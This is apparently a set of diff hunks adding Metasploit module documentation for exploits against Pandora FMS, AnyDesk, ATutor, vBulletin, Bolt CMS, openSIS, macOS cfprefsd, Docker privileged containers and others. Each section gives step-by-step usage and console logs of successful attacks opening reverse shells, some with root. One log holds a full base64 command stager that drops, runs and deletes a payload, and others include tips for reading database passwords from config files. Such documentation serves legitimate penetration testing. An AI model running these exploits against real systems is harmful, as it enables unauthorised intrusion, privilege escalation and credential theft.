https://pandorafms.com/docs/index.php?title=Pandora:Documentation_en:Installing.
The ISO installation instructions are under sections 1.8 and 1.9, those for Docker are under 1.10.
## Verification Steps
1. Install the module as usual
2. Start msfconsole
3. Do: `use exploit/linux/http/pandora_fms_events_exec`
4. Do: `set RHOSTS [IP]`
5. Do: `set USERNAME [username for the Pandora FMS account]`
6. Do: `set PASSWORD [password for the Pandora FMS account]`
7. Do: `set LHOST [IP]`
8. Do: `exploit`
## Options
### PASSWORD
The password for the Pandora FMS account to authenticate with. This option is required. The default value is `pandora`.
### TARGETURI
The base path to Pandora FMS. The default value is `/pandora_console/`.
### USERNAME
The username for the Pandora FMS account to authenticate with. This option is required. The default value is `admin`.
## Scenarios
### Pandora FMS 7.0 NG 744 running on CentOS 7 (the official virtual appliance ISO for this version). Target: Linux (x64)
```
msf5 exploit(linux/http/pandora_fms_events_exec) > show options
Module options (exploit/linux/http/pandora_fms_events_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD pandora yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.1.13 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /pandora_console/ yes Base path to Pandora FMS
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.12 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux (x64)
msf5 exploit(linux/http/pandora_fms_events_exec) > exploit
[*] Started reverse TCP handler on 192.168.1.12:4444
[+] Authenticated as user admin.
[*] Executing payload...
[*] Sending stage (3012516 bytes) to 192.168.1.13
[*] Command Stager progress - 100.00% done (833/833 bytes)
[*] Meterpreter session 18 opened (192.168.1.12:4444 -> 192.168.1.13:39208) at 2020-07-01 10:14:44 -0400
meterpreter >
[*] Tip: You can try to obtain the MySQL DB password via the shell command `grep dbpass include/config.php`. The default privileged user is `root`.
getuid
Server username: no-user @ localhost.localdomain (uid=48, gid=48, euid=48, egid=48)
meterpreter >
```
### Pandora FMS 7.0 NG 744 running on CentOS 7 (the official virtual appliance ISO for this version). Target: Linux (cmd)
```
msf5 exploit(linux/http/pandora_fms_events_exec) > exploit
[*] Started reverse TCP handler on 192.168.1.12:4444
[+] Authenticated as user admin.
[*] Executing payload...
[*] Command shell session 1 opened (192.168.1.12:4444 -> 192.168.1.13:38776) at 2020-06-16 13:01:52 -0400
[*] Trying to read the MySQL DB password via `cat include/config.php | grep dbpass`. The default privileged user is `root`.
$config["dbpass"]="pandora";
id
uid=48(apache) gid=48(apache) groups=48(apache)
```
@@ -0,0 +1,78 @@
## Vulnerable Application
Docker Privileged Container Escape that obtains root on the host machine by abusing the Linux cgroup notification on rebase feature.
Both meterpreter shell and classic shell are supported. The exploit will copy a payload to a writable directory in the container and then escape the container and either search for the payload on the file system or copy it directly from the container and then execute it on the host.
# Creating A Testing Environment
- Install Docker
- Create a privileged container (forwarding port 4444 in this example in order to use a bind shell from the host)
```bash
docker run -d -it --name test-vuln-container -p 4444:4444 --privileged ubuntu
```
- Obtain a shell on the container with metasploit. One possible option is:
```bash
# Create a bind shell using msfvenom
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf -o ./bind4444.bin
# Copy bind shell into container
docker cp ./bind4444.bin test-vuln-container:/bind4444.bin
# Execute bind shell in the container
docker exec -it test-vuln-container /bind4444.bin
```
- Connect to this bind shell in metasploit
```bash
use multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 127.0.0.1
set lport 4444
run
```
## Verification Steps
1. `use exploit/linux/local/docker_privileged_container_escape`
2. `set SESSION [session]`
3. `set PAYLOAD [payload]`
4. `set LHOST [lhost]`
5. `set LPORT [lport]`
6. `exploit`
## Options
## PAYLOAD
Set this option to choose which type of root session you want to create.
## ForceExploit
Force exploit even if the current session does not appear to be in a docker container, or the container does not appear vulnerable.
## ForcePayloadSearch
Force the exploit to search for the payload in the file system rather than copying out of the docker container. This avoids the need for a writable directory on the host system. Typically, the filesystem of the container will be located in the `/var/lib/docker/overlay2/` directory.
## WritableContainerDir
A directory where we can write files inside the container (default is /tmp). This is needed to drop the payload into the container.
## WritableHostDir
A directory where we can write files on the host (default is /tmp). This is needed to copy the payload from the container onto the host. Alternatively see ForcePayloadSearch
# Scenarios
## Container Escape starting with a meterpreter shell
```
msf5 exploit(multi/handler) > use exploit/linux/local/docker_privileged_container_escape
msf5 exploit(linux/local/lxc_privilege_escalation) > set session 1
session => 1
msf5 exploit(linux/local/lxc_privilege_escalation) > run
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] Writing payload executable to '/tmp/aLQdBKpMXLo'
[*] Executing script to exploit privileged container
[*] Sending stage (3012516 bytes) to 192.168.0.231
[*] Meterpreter session 4 opened (0.0.0.0:0 -> 192.168.0.231:4444) at 2020-07-19 14:50:51 +0100
```
@@ -0,0 +1,61 @@
## Vulnerable Application
This vulnerability affects Linux versions 5.5.2 and older. Old versions of AnyDesk can be downloaded from their site at
https://download.anydesk.com/linux/. Use the `.deb` package for an Ubuntu installation.
The `check` method on this exploit will send an AnyDesk discovery frame to the target host, which will cause the
target to respond with its own discovery frame. Each of these are sent from a random source port to the default AnyDesk
discovery service port of 50001. To configure the listening service in Metasploit, change the `SRVHOST` and `SRVPORT`
options. The exploit will use this method to detect the remote hostname and confirm that the operating system is Linux
before proceeding.
## Verification Steps
1. Install the application
1. Start the AnyDesk GUI. A window will open, leave it running.
1. Start `msfconsole`
1. Do: `use exploit/linux/misc/cve_2020_13160_anydesk`
1. Set the module options
1. Do: `exploit`
1. You should get a shell.
## Options
### SRVHOST
This option is used to specify the host on which to listen for discovery frames from AnyDesk.
### SRVPORT
This option is used to specify the port on which to listen for discovery frames from AnyDesk.
## Scenarios
### Ubuntu 18.04 x64
```
msf5 exploit(linux/misc/cve_2020_13160_anydesk) > use exploit/linux/misc/cve_2020_13160_anydesk
msf5 exploit(linux/misc/cve_2020_13160_anydesk) > set RHOSTS 192.168.159.33
RHOSTS => 192.168.159.33
msf5 exploit(linux/misc/cve_2020_13160_anydesk) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf5 exploit(linux/misc/cve_2020_13160_anydesk) > check
[*] 192.168.159.33:50001 - The service is running, but could not be validated. Remote hostname: ubuntu
msf5 exploit(linux/misc/cve_2020_13160_anydesk) > exploit
[*] Started reverse TCP handler on 192.168.250.87:4444
[*] Discovered the remote service (hostname: ubuntu, os: linux)
[*] Sent exploit frame, waiting for the GUI to refresh to trigger the vulnerability...
[*] Sending stage (3012516 bytes) to 192.168.250.237
[*] Meterpreter session 1 opened (192.168.250.87:4444 -> 192.168.250.237:51044) at 2020-06-17 10:21:44 -0400
meterpreter > getuid
Server username: no-user @ ubuntu (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter > sysinfo
Computer : 192.168.159.33
OS : Ubuntu 18.04 (Linux 5.3.0-59-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
@@ -2,7 +2,7 @@
This module abuses a known default password in IBM Data Risk Manager. The 'a3user' has the default password 'idrm' and allows an attacker to log in to the virtual appliance via SSH.
This can be escalated to full root access, as 'a3user' has `sudo` access with the default password.
At the time of disclosure, this is a 0day. Versions <= 2.0.3 are confirmed to be affected, and the latest 2.0.6 is most likely affected too.
At the time of disclosure this was an 0day, but it was later confirmed and patched by IBM. Versions <= 2.0.6.1 are confirmed to be vulnerable.
### Vulnerability information
For more information about the vulnerability, check the advisory at:
@@ -0,0 +1,135 @@
## Vulnerable Application
This module exploits an arbitrary file upload vulnerability together with a directory traversal
flaw in ATutor versions 2.2.4, 2.2.2 and 2.2.1 in order to execute arbitrary commands.
This module first authenticates to ATutor, using a randomly generated token to get around the front end JavaScript verification
being used by the server. Next, the module generates a zip file containing a malicious PHP file.
The zip archive takes advantage of a directory traversal vulnerability that will cause the target to drop the PHP file
in the root server directory (`htdocs` for Windows and `html` for Linux targets) when unpacking the archive.
For Windows targets, the module assumes that the target server uses XAMPP.
However, users can override this default by setting a custom file traversal path.
The PHP file contains an encoded payload that allows for remote command execution on the target server.
The zip archive can be uploaded via two vectors, the `Import New Language` function and the `Patcher` function.
The module first uploads the archive via `Import New Language` and then attempts to execute the payload
via an HTTP GET request to the PHP file in the root server directory.
If no session is obtained, the module creates another zip archive, uploads it via the `Patcher` function
and then attempts to execute the payload the same way as before. If a session is obtained, the module automatically
attempts to remove the malicious PHP file from the present working directory.
The module is compatible with both Windows and Linux targets. Users can specify a target OS, or use the `Auto` target option.
In the latter case, the module will try to detect the target OS based on the `Server` header set by the target
in its response to an HTTP request.
The module requires valid credentials for an ATutor account with admin privileges.
It has been successfully tested against ATutor 2.2.4 running on a Windows 10 machine that used XAMPP.
Vulnerable software can be downloaded here: https://sourceforge.net/projects/atutor/files/latest/download.
ATutor is no longer being maintained and version 2.2.4 was the last release.
## Verification Steps
1. Install the module as usual
2. Start msfconsole
3. Do: `use exploit/multi/http/atutor_upload_traversal`
4. Do: `set RHOSTS [IP]`
5. Do: `set USERNAME [username for the ATutor account]`
6. Do: `set PASSWORD [password for the ATutor account]`
7. Do: `set payload [payload]`
8. Do: `set LHOST [IP]`
9. Do: `exploit`
## Targets
```
Exploit targets:
Id Name
-- ----
0 Auto
1 Linux
2 Windows
```
## Options
### FILE_TRAVERSAL_PATH
This is the traversal path to get from the upload path to the root server directory.
It is used to make sure the malicious PHP is dropped in the root server directory when the zip being uploaded to the target
is unpacked on the server side. The default value for Windows targets is `..\\..\\..\\..\\..\\../xampp\\htdocs\\`.
This assumes the target uses XAMPP, as recommended in the ATutor documentation.
The default value for Linux targets is `../../../../../../var/www/html/`.
### PASSWORD
The password for the ATutor account to authenticate with. This option is required.
### TARGETURI
The base path to ATutor. The default value is `/ATutor/`.
### USERNAME
The username for the ATutor account to authenticate with. This option is required.
### WfsDelay
The number of seconds to wait for a session to be created. This advanced option is used by the module to verify
if exploitation via the `Import New Language` function succeeded. The default value is 3.
## Scenarios
### ATutor 2.2.4 running on Windows 10 (XAMPP)
```
msf5 exploit(multi/http/atutor_upload_traversal) > show options
Module options (exploit/multi/http/atutor_upload_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
FILE_TRAVERSAL_PATH no Traversal path to the root server directory. Default for Windows targets: `..\..\..\..\..\../xampp\htdocs\`. Linux Default: `../../../../../../var/www/html/.`
PASSWORD root yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.1.12 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /ATutor/ yes The base path to ATutor
URIPATH no The URI to use for this exploit (default is random)
USERNAME root yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.28 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
msf5 exploit(multi/http/atutor_upload_traversal) > run
[*] Started reverse TCP handler on 192.168.1.28:4444
[+] Successfully authenticated as user 'root'. We have admin privileges!
[+] Identified the target OS as Win64.
[*] Setting payload to windows/x64/meterpreter/reverse_tcp.
[*] Attempting exploitation via the `Import New Language` function.
[*] Uploaded malicious PHP file vanwqiz.php.
[*] Executing payload via /vanwqiz.php/qnwgdu?=<payload>...
[*] Command Stager progress - 17.01% done (2046/12025 bytes)
[*] Command Stager progress - 34.03% done (4092/12025 bytes)
[*] Command Stager progress - 51.04% done (6138/12025 bytes)
[*] Command Stager progress - 68.06% done (8184/12025 bytes)
[*] Command Stager progress - 84.24% done (10130/12025 bytes)
[*] Sending stage (201283 bytes) to 192.168.1.12
[*] Meterpreter session 1 opened (192.168.1.28:4444 -> 192.168.1.12:49512) at 2020-06-12 13:50:47 -0400
[*] Command Stager progress - 100.00% done (12025/12025 bytes)
[+] Deleted vanwqiz.php
meterpreter >
```
@@ -0,0 +1,47 @@
## Vulnerable Application
### Description
This module exploits an arbitrary file upload vulnerability within the Baldr
stealer malware control panel when uploading victim log files (which are uploaded
as ZIP files). Attackers can turn this vulnerability into an RCE by first
registering a new bot to the panel and then uploading a ZIP file containing
malicious PHP, which will then uploaded to a publicly accessible
directory underneath the /logs web directory.
Note that on versions 3.0 and 3.1 the ZIP files containing the victim log files
are encoded by XORing them with a random 4 byte key. This exploit module gets around
this restriction by retrieving the IP specific XOR key from panel gate before
uploading the malicious ZIP file.
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/multi/http/baldr_upload_exec`
4. Do `set rhost 192.168.1.27`
5. Do: `run`
6. Verify that you get a shell on the target system
## Options
### TARGETURI
The URI where the Baldr panel/gateway is located on the target web server.
## Scenarios
```
msf5 > use exploit/multi/http/baldr_upload_exec
msf5 exploit(exploit/multi/http/baldr_upload_exec) > set rhost 192.168.1.27
rhost => 192.168.1.27
msf5 exploit(multi/http/baldr_upload_exec) > run
[*] Baldr Version: <= v2.0
[+] Payload uploaded to /logs/FJETBHLL/.vatw.php
[+] Payload successfully triggered !
[*] Started bind TCP handler against 192.168.1.27:9090
[*] Sending stage (38288 bytes) to 192.168.1.27
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.1.27:9090) at 2020-07-23 09:49:34 +0300
meterpreter >
```
@@ -0,0 +1,59 @@
## Vulnerable Application
[vBulletin](https://www.vbulletin.com) A popular PHP bulletin board and blog web application.
This module has been tested successfully against vBulletin 5.6.2 running on Ubuntu Linux 19.04.
### Description
This module exploits a logic bug within the template rendering code of vBulletin 5.x. The module
uses the vBulletin template rendering functionality to render the 'widget_tabbedcontainer_tab_panel'
template while also providing the 'widget_php' argument which causes the former template to load the
latter bypassing filters originally put in place to address 'CVE-2019-16759'. This also allows the
exploit to reach an eval call with user input allowing the module to achieve PHP remote code execution
on the target. This module has been tested successfully on vBulletin version 5.6.2 on Ubuntu Linux.
## Verification Steps
1. Do: `use exploit/multi/http/vbulletin_widget_template_rce`
2. Do: `set RHOSTS [IP]`
3. Do: `set VHOST [HOSTNAME]`
4. Do: `set LHOST [IP]`
5. Do: `set TARGETURI [PATH]`
6. Do: `set PAYLOAD [PAYLOADNUM]`
7. Do: `run`
## Options
### TARGETURI
The base URI path of vBulletin. **Default: /**
### PHP_CMD
The PHP function to use to execute commands on the target. **Default: shell_exec**
## Scenarios
```
msf6 > use exploit/multi/http/vbulletin_widget_template_rce
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(multi/http/vbulletin_widget_template_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/vbulletin_widget_template_rce) > set VHOST vb.local
VHOST => vb.local
msf6 exploit(multi/http/vbulletin_widget_template_rce) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/http/vbulletin_widget_template_rce) > set TARGETURI /
TARGETURI => /
msf6 exploit(multi/http/vbulletin_widget_template_rce) > set PAYLOAD 5
msf6 exploit(multi/http/vbulletin_widget_template_rce) > run
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Sending php/bind_perl command payload
[*] Started bind TCP handler against 127.0.0.1:4444
[*] Command shell session 1 opened (0.0.0.0:0 -> 127.0.0.1:4444) at 2020-08-09 06:29:57 -0500
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
@@ -5,8 +5,10 @@ The Windows dll files are provided by [@stamparm](https://github.com/stamparm) o
located [here](https://github.com/rapid7/metasploit-framework/files/1879611/mysql_udf_libs.zip). As noted
in [#9677](https://github.com/rapid7/metasploit-framework/issues/9677#issuecomment-378893925) these are 'de-cloaked' versions,
which may attract AV attention.
The file is then loaded by mysql, and arbitrary commands can be run. There are several caveats for this to
function however, including:
1. `secure_file_priv`, a mysql setting, must be changed from the default to allow writing
to mysql's plugins folder
2. on Ubuntu, apparmor needs a bunch of exceptions added, or to be disabled. Equivalents on other linux systems most likely need the same
@@ -23,11 +25,14 @@ In this configuration, we'll run mysql as root so we have a priv escalate.
5. Restart mysql service: `sudo systemctl restart mysql.service`
If you need to make the root user accessible remotely
```
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED by 'password';
FLUSH PRIVILEGES;
```
or
```
update user set host='%' where host='127.0.0.1';
```
@@ -42,11 +47,14 @@ One good reference for these instructions is [PR #5334](https://github.com/rapid
4. Make the `C:\Program Files\MySQL\MySQL Server *\lib\plugin` folder permissions writable by the MySQL (service) user.
If you need to make the root user accessible remotely
```
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED by 'password';
FLUSH PRIVILEGES;
```
or
```
update user set host='%' where host='127.0.0.1';
```
@@ -0,0 +1,70 @@
## Vulnerable Application
This module exploits an arbitrary file write in cfprefsd on macOS <= 10.15.4 in
order to run a payload as root. The CFPreferencesSetAppValue function, which is
reachable from most unsandboxed processes, can be exploited with a race condition
in order to overwrite an arbitrary file as root. By overwriting /etc/pam.d/login
a user can then login as root with the `login root` command without a password.
## Verification Steps
1. Get a session on a vulnerable system
2. `use exploit/osx/local/cfprefsd_race_condition`
3. `set lhost <IP>`
4. `set lport <PORT>`
5. `set session <session_id>`
6. `run`
## Scenarios
### macOS Catalina 10.15.4
```
msf6 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/osx user @ Users-Macbook-Pro.local (uid=501, gid=20, euid=501, egid=20) @ Users-M... 192.168.56.1:4444 -> 192.168.56.4:49451 (192.168.56.4)
msf6 exploit(multi/handler) > use exploit/osx/local/cfprefsd_race_condition
[*] Using configured payload osx/x64/meterpreter/reverse_tcp
msf6 exploit(osx/local/cfprefsd_race_condition) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf6 exploit(osx/local/cfprefsd_race_condition) > set LPORT 5555
LPORT => 5555
msf6 exploit(osx/local/cfprefsd_race_condition) > set SESSION 1
SESSION => 1
msf6 exploit(osx/local/cfprefsd_race_condition) > exploit
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.56.1:5555
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Writing '/tmp/.Ug0wUz4HX6' (17204 bytes) ...
[*] Writing '/tmp/.qZy9vVNU' (14748 bytes) ...
[*] Executing exploit '/tmp/.qZy9vVNU /etc/pam.d/login'
[*] Exploit result:
Trying 10000 calls...
access: Permission denied
pwned! /etc/pam.d/login is now writable!
[*] Running cmd:
echo '/tmp/.Ug0wUz4HX6 & disown' | login root
[*] Transmitting first stager...(210 bytes)
[*] Command output:
Last login: Tue Aug 18 09:56:20 on tty??
[*] Transmitting second stager...(8192 bytes)
[*] Sending stage (799916 bytes) to 192.168.56.4
[*] Meterpreter session 2 opened (192.168.56.1:5555 -> 192.168.56.4:49452) at 2020-09-04 17:36:45 +0800
meterpreter >
[+] /etc/pam.d/login was restored
meterpreter > getuid
Server username: root @ Users-Macbook-Pro.local (uid=0, gid=0, euid=0, egid=0)
```
@@ -0,0 +1,181 @@
## Vulnerable Application
This module exploits multiple vulnerabilities in Bolt CMS version 3.7.0 and 3.6.* in order to execute arbitrary commands as the user running Bolt.
This module first authenticates to Bolt CMS and visits the profile page to obtain a special token.
This token is then used to change the username in /bolt/profile to a PHP `system($_GET[""])` variable, using a generated random name.
If this succeeds, the target may be vulnerable.
The module then proceeds by issuing an HTTP GET request for /bolt/overview/showcases in order to obtain a CSRF token to be used later.
Next, the module obtains a list of filename tokens from `/async/browse/cache/.sessions.`
These tokens are used to create files with the blacklisted `.php` extention via HTTP POST requests to `/async/folder/rename`.
With the CSRF token obtained before, it is possible to create .php files by "renaming" these cache tokens.
While most (if not all) available tokens can be used to created .php files in the /root directory on the server,
the resulting files cannot always be used to execute commands.
The module excludes tokens with a filesize of under 2000 bytes, as they can't ever be used for this purpose. For the remaining tokens,
it seems the easiest way to identify a valid one is to use each token to create a .php file
and then check the contents of that file.
The module does exactly this, deleting any .php files that can't be used
until it finds a file for which the "displayname" value is an empty string ("").
This value indicates that the profile username matching this token is the `$_GET` variable generated earlier,
and that the file can be used to execute arbitrary commands.
If a valid .php file is created, the module executes the payload via an HTTP get request in this format:
`/files/<rogue_PHP_file>?<$_GET_variable>=<payload>`
The module requires valid credentials for a Bolt CMS user. This module has been successfully tested on Bolt CMS 3.7.0.
## Verification Steps
1. Install the module as usual
2. Start msfconsole
3. Do: `use exploit/unix/webapp/bolt_authenticated_rce`
4. Do: `set RHOSTS [IP]`
5. Do: `set USERNAME [username for the Bolt CMS account]`
6. Do: `set PASSWORD [password for the Bolt CMS account]`
7. Do: `set payload [payload]`
8. Do: `set LHOST [IP]`
9. Do: `exploit`
## Options
### FILE_TRAVERSAL_PATH
This is the traversal path to get from the `/files/` directory on the web server to the `/root` directory on the server.
It is used by the module to write rogue .php files to /root. The default value is `../../../public/files`.
### PASSWORD
The password for the Bolt CMS account to authenticate with. This option is required.
### TARGETURI
The base path to Bolt CMS. The default value is `/`.
### USERNAME
The username for the Bolt CMS account to authenticate with. This option is required.
## Scenarios
### Bolt CMS 3.7.0 running on CentOS 7
```
msf5 exploit(unix/webapp/bolt_authenticated_rce) > show options
Module options (exploit/unix/webapp/bolt_authenticated_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
FILE_TRAVERSAL_PATH ../../../public/files yes Path from the "files" directory to the root folder
PASSWORD boltbolt yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.1.4 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8000 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path to Bolt CMS
URIPATH no The URI to use for this exploit (default is random)
USERNAME bolt yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.10 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
2 Linux (cmd)
msf5 exploit(unix/webapp/bolt_authenticated_rce) > run
[*] Started reverse TCP handler on 192.168.1.10:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable. Successfully changed the /bolt/profile username to PHP $_GET variable "nbxnh".
[*] Found 6 potential token(s) for creating .php files.
[+] Used token a0293d73f435515024c2c5d37a to create phfsbswowfp.php.
[*] Attempting to execute the payload via "/files/phfsbswowfp.php?nbxnh=`payload`"
[+] Payload executed!
[+] Deleted file phfsbswowfp.php.
[+] Reverted user profile back to original state.
[*] Command shell session 1 opened (192.168.1.10:4444 -> 192.168.1.4:52008) at 2020-05-26 09:15:19 -0400
id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
```
### Bolt CMS 3.7.0 running on Ubuntu 18.04
```
msf5 exploit(unix/webapp/bolt_authenticated_rce) > options
Module options (exploit/unix/webapp/bolt_authenticated_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
FILE_TRAVERSAL_PATH ../../../public/files yes Traversal path from "/files" on the web server to "/root" on the server
PASSWORD boltbolt yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.28.128.5 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8000 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path to Bolt CMS
URIPATH no The URI to use for this exploit (default is random)
USERNAME bolt yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.28.128.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux (x64)
msf5 exploit(unix/webapp/bolt_authenticated_rce) > run
[*] Started reverse TCP handler on 172.28.128.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable. Successfully changed the /bolt/profile username to PHP $_GET variable "qjej".
[*] Found CSRF token: pAuS_pLAjcUd8wPjq7Xus72UE2N0P4YB8HularDy3A0
[*] Found 1 potential token(s) for creating .php files.
[+] Used token a5881f86a828d3810fa0fa64fb to create cojwcnuk.php.
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXKwcgAFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/QtQwu.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/nSljj' < '/tmp/QtQwu.b64' ; chmod +x '/tmp/nSljj' ; '/tmp/nSljj' ; rm -f '/tmp/nSljj' ; rm -f '/tmp/QtQwu.b64'"]
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3012516 bytes) to 172.28.128.5
[*] Meterpreter session 1 opened (172.28.128.1:4444 -> 172.28.128.5:41918) at 2020-06-28 22:39:20 -0500
[!] No response, may have executed a blocking payload!
[*] Command Stager progress - 100.00% done (823/823 bytes)
[+] Deleted file cojwcnuk.php.
[+] Reverted user profile back to original state.
meterpreter > getuid
Server username: no-user @ ubuntu-bionic (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter > sysinfo
Computer : 10.0.2.15
OS : Ubuntu 18.04 (Linux 4.15.0-91-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
@@ -0,0 +1,58 @@
## Vulnerable Application
This module exploits multiple vulnerabilities in [openSIS](https://www.opensis.com/) 7.4 and prior versions which could be abused by unauthenticated attackers to execute arbitrary PHP code. It is based on these advisories:
- http://karmainsecurity.com/KIS-2020-06
- http://karmainsecurity.com/KIS-2020-07
- http://karmainsecurity.com/KIS-2020-08
The module has been successfully tested against [openSIS](https://www.opensis.com/) versions 7.3 and 7.4 running on Ubuntu. Older versions might be affected as well.
Download link: https://sourceforge.net/projects/opensis-ce/files/
## Verification Steps
1. Install the web application
2. Start msfconsole
3. Do: ```use unix/webapp/opensis_chain_exec```
4. Do: ```set RHOSTS [IP]```
5. Do: ```set TARGETURI [/path/to/opensis]```
6. Do: ```run```
7. You should get a shell.
## Options
### TARGETURI
The base path to the web application (e.g. `/opensis/`). The default value is `/`.
## Scenarios
**openSIS 7.4 running on Ubuntu 18.04.4**
```
msf5 > use unix/webapp/opensis_chain_exec
msf5 exploit(unix/webapp/opensis_chain_exec) > set RHOSTS localhost
msf5 exploit(unix/webapp/opensis_chain_exec) > set TARGETURI /opensis/
msf5 exploit(unix/webapp/opensis_chain_exec) > check
[*] Retrieving session cookie
[*] Injecting malicious SQL into session variable
[*] Calling ForExport.php to set $_SESSION['_REQUEST_vars']
[*] Executing PHP code by calling Bottom.php
[+] 127.0.0.1:80 - The target is vulnerable.
msf5 exploit(unix/webapp/opensis_chain_exec) > run
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Retrieving session cookie
[*] Injecting malicious SQL into session variable
[*] Calling ForExport.php to set $_SESSION['_REQUEST_vars']
[*] Executing PHP code by calling Bottom.php
[*] Sending stage (38288 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:45460) at 2020-07-01 23:31:43 +0200
meterpreter > getuid
Server username: www-data (33)
meterpreter >
```
@@ -0,0 +1,202 @@
## Vulnerable Application
Documalis Free PDF Editor version 5.7.2.26 and Documalis Free PDF Scanner version 5.7.2.122 do not appropriately
validate the contents of JPEG images contained within a PDF. Attackers can exploit this vulnerability to trigger
a buffer overflow on the stack and gain remote code execution as the user running the Documalis Free PDF
Editor or Documalis Free PDF Scanner software.
